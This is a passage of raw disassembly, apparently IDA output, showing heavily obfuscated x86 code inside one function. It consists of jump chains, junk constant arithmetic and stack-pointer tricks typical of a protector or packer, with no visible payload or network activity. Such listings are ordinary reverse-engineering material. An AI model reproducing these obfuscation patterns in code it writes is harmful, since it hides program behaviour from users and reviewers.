		jmp	loc_5BEEC9
; ---------------------------------------------------------------------------


loc_5BB5CD:				; CODE XREF: sub_5A55E5+547Dj
		add	esp, 4
		push	0CA9h
		mov	[esp+2Eh+var_2E], ecx
		push	esp
		pop	ecx
		jmp	loc_5AE5ED
; ---------------------------------------------------------------------------


loc_5BB5DF:				; CODE XREF: sub_5A55E5+CF19j
		neg	edi
		shl	edi, 3
		inc	edi
		jmp	loc_5B1A95
; ---------------------------------------------------------------------------


loc_5BB5EA:				; CODE XREF: sub_5A55E5+6924j
		sub	bl, 0CCh
		jmp	loc_5B9BD2
; ---------------------------------------------------------------------------


loc_5BB5F2:				; CODE XREF: sub_5A55E5+B76Cj
		xchg	edi, [esp+24h+var_26+2]
		jmp	loc_5BEA0C
; ---------------------------------------------------------------------------


loc_5BB5FA:				; CODE XREF: sub_5A55E5+168E6j
		mov	edi, 23F13B85h
		xor	esi, edi
		mov	edi, [esp+24h+var_26+2]
		jmp	loc_5B6344
; ---------------------------------------------------------------------------


loc_5BB609:				; CODE XREF: sub_5A55E5+17E29j
		mov	al, 0AEh
		mov	cl, al
		jmp	loc_5B71FD
; ---------------------------------------------------------------------------


loc_5BB612:				; CODE XREF: sub_5A55E5+128C1j
		pop	esi
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	7AF6h
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, 5633E5Dh
		xor	ebx, 7633E5Dh
		and	eax, ebx
		push	[esp+28h+var_2A+2]
		pop	ebx
		push	esi
		jmp	loc_5AE44D
; ---------------------------------------------------------------------------


loc_5BB64A:				; CODE XREF: sub_5A55E5+B211j
		xor	edx, 26F72A75h
		mov	ebx, edx
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		push	ecx
		mov	ecx, 1B112322h
		and	ecx, 0D111EB9h
		shl	ecx, 1
		add	ecx, 0FFFFFFFFh
		add	ecx, 32080267h
		mov	esi, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		xor	esi, 5A32E21h
		jmp	loc_5BCA82
; ---------------------------------------------------------------------------


loc_5BB691:				; CODE XREF: sub_5A55E5+6B5Aj
		shr	ecx, 0Ah
		jmp	loc_5B446D
; ---------------------------------------------------------------------------


loc_5BB699:				; CODE XREF: sub_5A55E5+18AF6j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+86h+var_88+2]
		pop	esp
		mov	[esp+82h+var_84+2], ebp
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebx
		push	[esp+86h+var_88+2]
		jmp	loc_5BE12F
; ---------------------------------------------------------------------------


loc_5BB6B9:				; CODE XREF: sub_5A55E5+CE7Bj
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5BAE74
; ---------------------------------------------------------------------------


loc_5BB6C7:				; CODE XREF: sub_5A55E5+19BEDj
		push	edi
		jmp	loc_5AADE6
; ---------------------------------------------------------------------------


loc_5BB6CD:				; CODE XREF: sub_5A55E5+99FDj
		push	[esp+28h+var_2A+2]
		pop	esi
		add	esp, 4
		push	3EC0h
		jmp	loc_5ADB29
; ---------------------------------------------------------------------------


loc_5BB6DE:				; CODE XREF: sub_5A55E5+17965j
		push	[esp+28h+var_2A+2]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_5BE990
; ---------------------------------------------------------------------------


loc_5BB6F0:				; CODE XREF: sub_5A55E5+14D20j
		mov	ebx, [esp+3Eh+var_3E]
		jmp	loc_5AE9B4
; ---------------------------------------------------------------------------


loc_5BB6F8:				; CODE XREF: sub_5A55E5+10DA8j
		push	edx
		jmp	loc_5B31EE
; ---------------------------------------------------------------------------


loc_5BB6FE:				; CODE XREF: sub_5A55E5+E65Ej
		push	ebp
		push	[esp+0Ch+var_8]
		pop	ebp
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		jmp	loc_5ABE29
; ---------------------------------------------------------------------------


loc_5BB70F:				; CODE XREF: sub_5A55E5+FAFFj
		pop	ebp
		jmp	loc_5B987B
; ---------------------------------------------------------------------------


loc_5BB715:				; CODE XREF: sub_5A55E5+13F10j
		push	ebp
		jmp	loc_5AA881
; ---------------------------------------------------------------------------


loc_5BB71B:				; CODE XREF: sub_5A55E5+16B69j
		sub	bp, 58D3h
		pop	esi
		push	dx
		jmp	loc_5B628F
; ---------------------------------------------------------------------------


loc_5BB728:				; CODE XREF: sub_5A55E5+8927j
		add	ebx, eax
		pop	eax
		add	ebx, edi
		sub	ebx, 461910C4h
		push	edx
		mov	edx, 6C36170Fh
		jmp	loc_5B0F72
; ---------------------------------------------------------------------------


loc_5BB73E:				; CODE XREF: sub_5A55E5+7228j
		pop	ebx
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+1Ch+var_1C]
		push	3D69h
		mov	[esp+20h+var_22+2], edi
		mov	edi, esp
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	edi, ecx
		jmp	loc_5BCBE0
; ---------------------------------------------------------------------------


loc_5BB772:				; CODE XREF: sub_5A55E5+11A21j
		xor	edx, 536A6520h
		add	ebx, edx
		pop	edx
		sub	ebx, 6E6B34A1h
		jmp	loc_5B860E
; ---------------------------------------------------------------------------


loc_5BB786:				; CODE XREF: sub_5A55E5+D21Cj
		mov	eax, [esp+18h+var_18]
		push	ebx
		jmp	loc_5B677D
; ---------------------------------------------------------------------------


loc_5BB78F:				; CODE XREF: sub_5A55E5+4448j
		mov	[esp+28h+var_2A+2], ecx
		mov	ch, 34h
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5AE9E4
; ---------------------------------------------------------------------------


loc_5BB79D:				; CODE XREF: sub_5A55E5+D30Cj
		add	ebp, edi
		push	[esp+62h+var_64+2]
		pop	edi
		add	esp, 4
		push	6183h
		mov	[esp+62h+var_64+2], esi
		push	edx
		mov	edx, 7998107Eh
		push	edx
		mov	edx, 447E7467h
		push	eax
		mov	eax, 5ECB6220h
		jmp	loc_5B9B24
; ---------------------------------------------------------------------------


loc_5BB7C8:				; CODE XREF: sub_5A55E5+59C6j
		inc	eax
		and	eax, 136C6B88h
		add	eax, 6AEBECA1h
		mov	ebp, eax
		pop	eax
		xor	ebp, 42FF097Ch
		neg	ebp
		push	0E90h
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_5B4F65
; ---------------------------------------------------------------------------


loc_5BB7EB:				; CODE XREF: sub_5A55E5+FCC1j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB7F0:				; CODE XREF: sub_5A55E5+F486j
		pop	ebp
		push	ebx
		pop	edx
		jmp	loc_5AC361
; ---------------------------------------------------------------------------


loc_5BB7F8:				; DATA XREF: sub_5A55E5+427Bo
		push	[esp+14h+var_14]
		jmp	loc_5AF08F
; ---------------------------------------------------------------------------


loc_5BB800:				; CODE XREF: sub_5A55E5+845Fj
		mov	cl, 0Bh
		mov	bl, 0B6h
		add	bl, cl
		jmp	loc_5BEDBF
; ---------------------------------------------------------------------------


loc_5BB80B:				; CODE XREF: sub_5A55E5+D24Cj
		add	bl, al
		sub	bl, 7Ah
		sub	bl, 0E6h
		push	eax
		push	72A6h
		mov	[esp+62h+var_64+2], ecx
		mov	cl, 32h
		mov	ah, cl
		mov	ecx, [esp+62h+var_64+2]
		push	6BA4h
		jmp	loc_5B42EE
; ---------------------------------------------------------------------------


loc_5BB82D:				; CODE XREF: sub_5A55E5+11002j
		mov	ebx, [esp+40h+var_42+2]
		add	esp, 4
		pop	edx
		or	ebx, 57550890h
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], eax
		jmp	loc_5B31CC
; ---------------------------------------------------------------------------


loc_5BB84B:				; CODE XREF: sub_5A55E5+12188j
		mov	ecx, 7B7F3223h
		add	edi, ecx
		pop	ecx
		inc	edi
		jmp	loc_5ADDF6
; ---------------------------------------------------------------------------


loc_5BB859:				; CODE XREF: sub_5A55E5+D533j
		push	ebx
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_5BB02E
; ---------------------------------------------------------------------------


loc_5BB868:				; CODE XREF: sub_5A55E5+11370j
		mov	[esp+14h+var_14], esi
		push	ebp
		push	ecx
		mov	ecx, 43F044CEh
		jmp	loc_5BD2C3
; ---------------------------------------------------------------------------


loc_5BB877:				; CODE XREF: sub_5A55E5+D774j
		add	[esp+30h+var_2E+2], ecx
		pop	ecx
		push	[esp+2Ch+var_2E+2]
		pop	eax
		add	esp, 4
		push	1CF7h
		jmp	loc_5AE8BB
; ---------------------------------------------------------------------------


loc_5BB88D:				; CODE XREF: sub_5A55E5+A0B6j
		push	esi
		mov	esi, 4F816029h
		inc	esi
		sub	esi, 2FBA49DBh
		sub	esi, 693F2A0Dh
		push	7Ch
		mov	[esp+40h+var_42+2], eax
		mov	eax, 0B687EC46h
		xor	esi, eax
		jmp	loc_5BEED3
; ---------------------------------------------------------------------------


loc_5BB8B4:				; CODE XREF: sub_5A55E5+5723j
		add	esp, 4
		push	0
		sub	[esp+2Ah+var_2A], esi
		pop	esi
		add	esi, 45D00675h
		add	esi, 8DF31BEh
		push	edx
		mov	edx, 2AA650D0h
		shl	edx, 6
		add	edx, 0FFFFFFFFh
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_5B1C19
; ---------------------------------------------------------------------------


loc_5BB8E7:				; CODE XREF: sub_5A55E5+816Aj
		inc	ecx
		sub	ecx, 1FFDh
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+2Ah+var_2A]
		mov	esp, [esp+2Ah+var_2A]
		jmp	loc_5B4E66
; ---------------------------------------------------------------------------


loc_5BB8FC:				; CODE XREF: sub_5A55E5+1227Cj
		push	edi
		push	[esp+56h+var_54+2]
		mov	edi, [esp+5Ah+var_5C+2]
		push	edx
		mov	edx, esp
		jmp	loc_5AE8A1
; ---------------------------------------------------------------------------


loc_5BB90C:				; CODE XREF: sub_5A55E5+13CA5j
		mov	esi, 687D4D5Ch
		jmp	loc_5B8CEC
; ---------------------------------------------------------------------------


loc_5BB916:				; CODE XREF: sub_5A55E5+BAE4j
		xor	ebx, 0ACE44A5h
		mov	ebp, ebx
		pop	ebx
		push	513Eh
		mov	[esp+0Ch+var_C], ebp
		add	[esp+0Ch+var_C], 0FFFFFFFFh
		jmp	loc_5B0570
; ---------------------------------------------------------------------------


loc_5BB930:				; CODE XREF: sub_5A55E5+12F98j
		add	esp, 4
		jmp	loc_5B0FD2
; ---------------------------------------------------------------------------


loc_5BB938:				; CODE XREF: sub_5A55E5+157F5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ah+var_C+2]
		jmp	loc_5B8F7C
; ---------------------------------------------------------------------------


loc_5BB949:				; CODE XREF: sub_5A55E5+141EAj
		pop	edx
		sub	[edi+24h], eax
		pop	eax


loc_5BB94E:				; CODE XREF: sub_5A55E5+9CF1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	7C61h
		mov	[esp+16h+var_18+2], ebx
		jmp	loc_5BF0D5
; ---------------------------------------------------------------------------


loc_5BB967:				; CODE XREF: sub_5A55E5+12BB1j
		push	edx
		push	4
		pop	edx
		sub	eax, edx
		jmp	loc_5B0F38
; ---------------------------------------------------------------------------


loc_5BB975:				; CODE XREF: sub_5A55E5+1034Aj
		pop	edx
		push	eax
		mov	ah, 53h
		dec	ah
		and	ah, 86h
		jmp	loc_5AFBA9
; ---------------------------------------------------------------------------


loc_5BB983:				; CODE XREF: sub_5A55E5+8BBAj
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		shr	bl, 6
		xor	bl, 47h
		push	cx
		mov	ch, 5Ch
		or	bl, ch
		pop	cx
		xor	bl, 95h
		jmp	loc_5BCADC
; ---------------------------------------------------------------------------


loc_5BB99F:				; CODE XREF: sub_5A55E5+682Cj
		mov	dx, 562Bh
		sub	bx, dx
		pop	dx
		jmp	loc_5AFF90
; ---------------------------------------------------------------------------


loc_5BB9AD:				; CODE XREF: sub_5A55E5+14495j
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	70C3h
		jmp	loc_5B9BBA
; ---------------------------------------------------------------------------


loc_5BB9BD:				; CODE XREF: sub_5A55E5+FCF1j
		not	[esp+5Ah+var_5C+2]
		jmp	loc_5B8CBB
; ---------------------------------------------------------------------------


loc_5BB9C5:				; CODE XREF: sub_5A55E5+C5ECj
		mov	[esp+20h+var_22+2], edi
		mov	edi, esp
		jmp	loc_5B8FD8
; ---------------------------------------------------------------------------


loc_5BB9CF:				; CODE XREF: sub_5A55E5+7162j
		shr	eax, 6
		inc	eax
		xor	eax, 2AF4490h
		add	esi, eax
		mov	eax, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_5B4F19
; ---------------------------------------------------------------------------


loc_5BB9E5:				; CODE XREF: sub_5A55E5+B0C8j
		mov	esp, [esp+38h+var_3A+2]
		jmp	loc_5B7DE5
; ---------------------------------------------------------------------------


loc_5BB9ED:				; CODE XREF: sub_5A55E5+931Ej
		push	ebp
		mov	ebp, 4
		jmp	loc_5AE02E
; ---------------------------------------------------------------------------


loc_5BB9F8:				; CODE XREF: sub_5A55E5+138CFj
		mov	dh, 54h
		jmp	loc_5AFCCA
; ---------------------------------------------------------------------------


loc_5BB9FF:				; CODE XREF: sub_5A55E5+C4B8j
		pop	edi
		sub	ecx, 50C202C0h
		add	ecx, ebx
		push	edi
		jmp	loc_5B9B74
; ---------------------------------------------------------------------------


loc_5BBA0E:				; CODE XREF: sub_5A55E5+143E6j
		shl	eax, 4
		shr	eax, 2
		push	2D29h
		mov	[esp+14h+var_14], edi
		mov	edi, 2D916429h
		inc	edi
		or	edi, 2D7E7041h
		push	eax
		mov	eax, 11BB43E5h
		or	eax, 145867B8h
		jmp	loc_5B2256
; ---------------------------------------------------------------------------


loc_5BBA38:				; CODE XREF: sub_5A55E5+68BFj
		pop	eax
		sub	edx, 4
		xchg	edx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		mov	[esp+22h+var_22], ecx
		jmp	loc_5B482E
; ---------------------------------------------------------------------------


loc_5BBA4D:				; CODE XREF: sub_5A55E5+707Fj
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		push	edx
		jmp	loc_5BD2B2
; ---------------------------------------------------------------------------


loc_5BBA57:				; CODE XREF: sub_5A55E5+19561j
		push	3539h
		jmp	loc_5B0A54
; ---------------------------------------------------------------------------


loc_5BBA61:				; CODE XREF: sub_5A55E5+5F08j
		mov	[esp+18h+var_18], esi
		mov	esi, 4
		push	edx
		mov	edx, 5D7B3228h
		add	ebp, 22257E7Bh
		sub	ebp, edx
		sub	ebp, 22257E7Bh
		pop	edx
		add	ebp, 7E9520B1h
		push	eax
		push	ecx
		push	39793C4Dh
		pop	ecx
		push	ebp
		jmp	loc_5BC1C6
; ---------------------------------------------------------------------------


loc_5BBA92:				; CODE XREF: sub_5A55E5+80CFj
		xor	ebx, 11162B89h
		and	ebx, 77273F62h
		push	eax
		mov	eax, 10212B64h
		sub	ebx, eax
		pop	eax
		and	[edi+1Ch], ebx
		jmp	loc_5AC674
; ---------------------------------------------------------------------------


loc_5BBAAF:				; CODE XREF: sub_5A55E5+7C03j
		add	bh, 0B6h
		mov	ch, bh
		pop	ebx
		add	ch, 88h
		jmp	loc_5B4626
; ---------------------------------------------------------------------------


loc_5BBABD:				; CODE XREF: sub_5A55E5+75ADj
		pop	edx
		mov	ebx, esi
		pop	esi
		and	ecx, ebx
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_5AFCF6
; ---------------------------------------------------------------------------


loc_5BBACE:				; CODE XREF: sub_5A55E5+11683j
		add	edi, edx
		pop	edx
		sub	[esp+1Ch+var_14], edi
		pop	edi
		add	[esp+18h+var_14], ebp
		add	[esp+18h+var_14], 43AB1A91h
		jmp	loc_5B4B34
; ---------------------------------------------------------------------------


loc_5BBAE7:				; CODE XREF: sub_5A55E5+AF86j
		push	ecx
		push	ebp
		mov	ebp, 2A080C53h
		mov	ecx, 2A080C57h
		xor	ecx, ebp
		pop	ebp
		push	ecx
		push	177133F3h
		pop	ecx
		sub	edx, ecx
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		add	edx, ecx
		push	esi
		push	ebx
		mov	ebx, 638A2959h
		dec	ebx
		xor	ebx, 2B94419Fh
		neg	ebx
		push	ebp
		jmp	loc_5AD29C
; ---------------------------------------------------------------------------


loc_5BBB20:				; CODE XREF: sub_5A55E5+14A42j
		sub	[esp+20h+var_18], ecx
		jmp	loc_5BE149
; ---------------------------------------------------------------------------


loc_5BBB29:				; CODE XREF: sub_5A55E5+B7BBj
		sub	edi, 4
		push	4B42h
		mov	[esp+18h+var_18], edi
		push	[esp+18h+var_14]
		pop	edi
		pop	[esp+18h+var_18]
		pop	esp
		mov	[esp+10h+var_10], edx
		push	esp
		jmp	loc_5B92C9
; ---------------------------------------------------------------------------


loc_5BBB46:				; CODE XREF: sub_5A55E5+183D2j
		pop	esp
		jmp	loc_5BE77C
; ---------------------------------------------------------------------------


loc_5BBB4C:				; CODE XREF: sub_5A55E5+AD06j
		add	ebx, 71FE0E3Eh
		sub	ebx, 32A70D8Bh
		add	ebx, esi
		add	ebx, 32A70D8Bh
		sub	ebx, 71FE0E3Eh
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+60h+var_60]
		mov	esp, [esp+60h+var_60]
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 5C6F3B0Dh
		and	eax, 22D6563Fh
		jmp	loc_5B10E8
; ---------------------------------------------------------------------------


loc_5BBB87:				; CODE XREF: sub_5A55E5+67DDj
		pop	eax
		xor	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 6AC53FD3h
		jmp	loc_5AF295
; ---------------------------------------------------------------------------


loc_5BBB96:				; CODE XREF: sub_5A55E5+5F4Bj
		inc	ecx
		sub	ecx, 42A70A26h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+18h+var_18]
		jmp	loc_5BC92C
; ---------------------------------------------------------------------------


loc_5BBBAE:				; DATA XREF: sub_5A55E5+41FBo
		push	small word ptr [edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BBBB6:				; CODE XREF: sub_5A55E5+8088j
		mov	[esp+32h+var_32], ebx
		push	eax
		mov	eax, 7BA6452Ah
		mov	ebx, eax
		jmp	loc_5B07FB
; ---------------------------------------------------------------------------


loc_5BBBC6:				; CODE XREF: sub_5A55E5+A9A6j
		push	6741h
		mov	[esp+18h+var_18], edx
		jmp	loc_5BA51F
; ---------------------------------------------------------------------------


loc_5BBBD3:				; CODE XREF: sub_5A55E5+C880j
		mov	eax, 7934033Eh
		dec	eax
		not	eax
		neg	eax
		dec	eax
		sub	eax, 6BA031C7h
		inc	eax
		add	eax, 39CDA5D6h
		sub	ebp, eax
		pop	eax
		push	eax
		mov	eax, 32B39367h
		jmp	loc_5AB844
; ---------------------------------------------------------------------------


loc_5BBBF7:				; CODE XREF: sub_5A55E5+173CEj
		push	esi
		jmp	loc_5BEC8C
; ---------------------------------------------------------------------------


loc_5BBBFD:				; CODE XREF: sub_5A55E5+CA4Aj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5BA2B9
; ---------------------------------------------------------------------------


loc_5BBC0D:				; CODE XREF: sub_5A55E5+AB68j
		add	edx, ebx
		add	edx, 673D2960h
		push	eax
		mov	eax, 22484194h
		jmp	loc_5A9E7C
; ---------------------------------------------------------------------------


loc_5BBC20:				; CODE XREF: sub_5A55E5+853Fj
		add	esp, 4
		add	ebx, 27E29547h
		xor	edx, ebx
		pop	ebx
		or	ecx, edx
		jmp	loc_5B889C
; ---------------------------------------------------------------------------


loc_5BBC33:				; CODE XREF: sub_5A55E5+65CCj
		pop	eax
		add	eax, ebp
		jmp	loc_5B69D1
; ---------------------------------------------------------------------------


loc_5BBC3B:				; CODE XREF: sub_5A55E5+1829Cj
		add	edi, esi
		sub	edi, 55142F4Ch
		mov	esi, [esp+3Ch+var_3E+2]
		jmp	loc_5B3D07
; ---------------------------------------------------------------------------


loc_5BBC4B:				; CODE XREF: sub_5A55E5+126BCj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	edi, 4
		jmp	loc_5B898E
; ---------------------------------------------------------------------------


loc_5BBC65:				; CODE XREF: sub_5A55E5+E18Dj
		add	esi, ecx
		pop	ecx
		push	66D7h
		mov	[esp+30h+var_32+2], ebx
		mov	ebx, 4
		sub	esi, 727230E5h
		add	esi, 3F884FD4h
		add	esi, ebx
		sub	esi, 3F884FD4h
		push	ebp
		mov	ebp, 727230E5h
		add	esi, ebp
		pop	ebp
		pop	ebx
		jmp	loc_5BD03F
; ---------------------------------------------------------------------------


loc_5BBC98:				; CODE XREF: sub_5A55E5+5CB0j
		sub	eax, edx
		add	eax, 5626362Ch
		jmp	loc_5BC2AA
; ---------------------------------------------------------------------------


loc_5BBCA4:				; CODE XREF: sub_5A55E5+190AFj
		mov	ecx, 0B70CD8C4h
		add	ebp, ecx
		pop	ecx
		and	esi, ebp
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		and	esi, 64185250h
		push	ebp
		jmp	loc_5BDE49
; ---------------------------------------------------------------------------


loc_5BBCC3:				; CODE XREF: sub_5A55E5+71A9j
		push	eax
		push	esi
		mov	esi, 95F580Fh
		jmp	loc_5B04D0
; ---------------------------------------------------------------------------


loc_5BBCCF:				; CODE XREF: sub_5A55E5+11FE1j
		add	eax, 2093C5Dh
		jmp	loc_5AF76A
; ---------------------------------------------------------------------------


loc_5BBCD9:				; CODE XREF: sub_5A55E5+9185j
		push	edx
		mov	edx, 62C90125h
		dec	edx
		xchg	edi, edx
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		not	esi
		xchg	esi, edi
		xchg	edi, edx
		jmp	loc_5B50F4
; ---------------------------------------------------------------------------


loc_5BBCF3:				; CODE XREF: sub_5A55E5+692Dj
		push	eax
		mov	eax, 679E19BDh
		inc	eax
		xor	eax, 36206977h
		sub	eax, 58853F97h
		jmp	loc_5B0D63
; ---------------------------------------------------------------------------


loc_5BBD09:				; CODE XREF: sub_5A55E5+9ACAj
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5B5A91
; ---------------------------------------------------------------------------


loc_5BBD17:				; CODE XREF: sub_5A55E5+E9D7j
		mov	esi, 4
		push	5DDFh
		mov	[esp+14h+var_14], esi
		mov	esi, 59E3107Bh
		sub	esi, 3824DF95h
		add	eax, esi
		pop	esi
		sub	eax, 60056151h
		add	eax, esi
		add	eax, 60056151h
		push	edx
		push	ebx
		mov	ebx, 46B235C8h
		add	ebx, 52A33A07h
		xor	ebx, 0B8EB5F29h
		mov	edx, ebx
		pop	ebx
		sub	eax, 2A62553Ch
		sub	eax, edx
		add	eax, 2A62553Ch
		pop	edx
		pop	esi
		push	232h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	eax, 759839AAh
		jmp	loc_5A9CEF
; ---------------------------------------------------------------------------


loc_5BBD79:				; CODE XREF: sub_5A55E5+ECCFj
		push	ecx
		mov	ecx, 4
		add	edx, 2CB207BCh
		sub	edx, 58FB13B7h
		jmp	loc_5B4193
; ---------------------------------------------------------------------------


loc_5BBD90:				; CODE XREF: sub_5A55E5+12169j
		mov	edi, edx
		pop	edx
		sub	edi, 16B6248h
		add	eax, edi
		mov	edi, [esp+24h+var_26+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5BD5EB
; ---------------------------------------------------------------------------


loc_5BBDB2:				; CODE XREF: sub_5A55E5+AD16j
		mov	[esp+64h+var_64], ecx
		push	edi
		mov	edi, 30945FA9h
		push	ebx
		mov	ebx, 70FC3D15h
		add	ebx, 157F255Eh
		mov	ecx, ebx
		pop	ebx
		sub	ecx, edi
		mov	edi, [esp+68h+var_68]
		add	esp, 4
		push	edi
		mov	edi, 27CF4921h
		or	ecx, edi
		jmp	loc_5B0BDB
; ---------------------------------------------------------------------------


loc_5BBDDF:				; CODE XREF: sub_5A55E5+4A59j
		push	83h
		jmp	loc_5B7BBB
; ---------------------------------------------------------------------------


loc_5BBDE9:				; CODE XREF: sub_5A55E5+6D48j
		push	[esp+18h+var_18]
		pop	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		sub	esp, 4
		push	esp
		pop	[esp+24h+var_26+2]
		push	ecx
		mov	ecx, 4
		add	[esp+24h+var_22+2], ecx
		pop	ecx
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		add	eax, 4
		push	ebp
		push	esp
		jmp	loc_5AD479
; ---------------------------------------------------------------------------


loc_5BBE20:				; CODE XREF: sub_5A55E5+7141j
		or	ch, 0DEh
		push	edx
		mov	dh, 0ABh
		jmp	loc_5BC4FC
; ---------------------------------------------------------------------------


loc_5BBE2B:				; CODE XREF: sub_5A55E5+5AE6j
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_5BA129
; ---------------------------------------------------------------------------


loc_5BBE34:				; CODE XREF: sub_5A55E5+1413Fj
		inc	esi
		shr	esi, 6
		sub	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0FEE9EECBh
		add	esi, ebp
		pop	ebp
		mov	eax, esi
		pop	esi
		mov	[edi+20h], eax
		jmp	loc_5B9A24
; ---------------------------------------------------------------------------


loc_5BBE52:				; CODE XREF: sub_5A55E5+120ACj
		sub	bh, 8Ch
		not	bh
		neg	bh
		xor	bh, 97h
		jmp	loc_5B61B8
; ---------------------------------------------------------------------------


loc_5BBE61:				; CODE XREF: sub_5A55E5+B405j
		push	small 3B21h
		mov	word ptr [esp+26h+var_26], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5B3788
; ---------------------------------------------------------------------------


loc_5BBE75:				; CODE XREF: sub_5A55E5+13B51j
		and	bl, 0ACh
		push	edx
		mov	dl, 4Ch
		jmp	loc_5B8E3A
; ---------------------------------------------------------------------------


loc_5BBE80:				; CODE XREF: sub_5A55E5+10D5Aj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5B79EC
; ---------------------------------------------------------------------------


loc_5BBE91:				; CODE XREF: sub_5A55E5+E3E1j
		push	6A5Fh
		jmp	loc_5AD7CD
; ---------------------------------------------------------------------------


loc_5BBE9B:				; CODE XREF: sub_5A55E5+125BBj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BBEA0:				; CODE XREF: sub_5A55E5+17CD9j
		sub	ebp, 60B00634h
		or	ebp, 62E808D4h
		push	esi
		mov	esi, 4112284Ch
		shl	esi, 4
		add	esi, 2706C5D2h
		and	ebp, esi
		pop	esi
		sub	ebp, 0CE0A981Ah
		jmp	loc_5B435D
; ---------------------------------------------------------------------------


loc_5BBEC9:				; CODE XREF: sub_5A55E5+18A96j
		xchg	eax, esi
		push	edi
		jmp	loc_5BB5FA
; ---------------------------------------------------------------------------


loc_5BBED0:				; CODE XREF: sub_5A55E5+111FAj
		sub	ecx, edx
		pop	edx
		or	ecx, 4C9F44C1h
		jmp	loc_5AD53F
; ---------------------------------------------------------------------------


loc_5BBEDE:				; CODE XREF: sub_5A55E5+4F80j
		mov	eax, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5B2FB2
; ---------------------------------------------------------------------------


loc_5BBEEC:				; CODE XREF: sub_5A55E5+8C03j
		neg	ecx
		add	ecx, 1CB936AFh
		or	eax, ecx
		push	[esp+24h+var_26+2]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		mov	esi, 3EBB3CCEh
		jmp	loc_5B844E
; ---------------------------------------------------------------------------


loc_5BBF10:				; DATA XREF: sub_5A55E5+4167o
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		jmp	loc_5B006C
; ---------------------------------------------------------------------------


loc_5BBF1B:				; CODE XREF: sub_5A55E5+18A90j
		push	esi
		push	51E327E1h
		pop	esi
		push	ecx
		push	3A56h
		mov	[esp+24h+var_26+2], ebx
		push	371F2B93h
		pop	ebx
		push	180Eh
		mov	[esp+28h+var_2A+2], edx
		mov	edx, 3F7F7DD4h
		jmp	loc_5B1363
; ---------------------------------------------------------------------------


loc_5BBF43:				; CODE XREF: sub_5A55E5+7EDAj
		mov	esp, [esp+32h+var_32]
		pop	eax
		push	ebp
		push	edi
		push	[esp+36h+var_36]
		pop	ebp
		jmp	loc_5B2BB7
; ---------------------------------------------------------------------------


loc_5BBF52:				; CODE XREF: sub_5A55E5+11E1Fj
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_5BE0C1
; ---------------------------------------------------------------------------


loc_5BBF5A:				; CODE XREF: sub_5A55E5+18B25j
		inc	ebx
		not	ebx
		shr	ebx, 5
		add	ebx, 4C87D651h
		add	eax, ebx
		pop	ebx
		add	eax, 19A93D44h
		xor	eax, 837B16h
		add	eax, 0B53B4844h
		xor	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		add	ecx, 5F7A7F39h
		add	ecx, esi
		sub	ecx, 5F7A7F39h
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	13C4h
		mov	[esp+0Ah+var_C+2], ebp
		jmp	loc_5BCF74
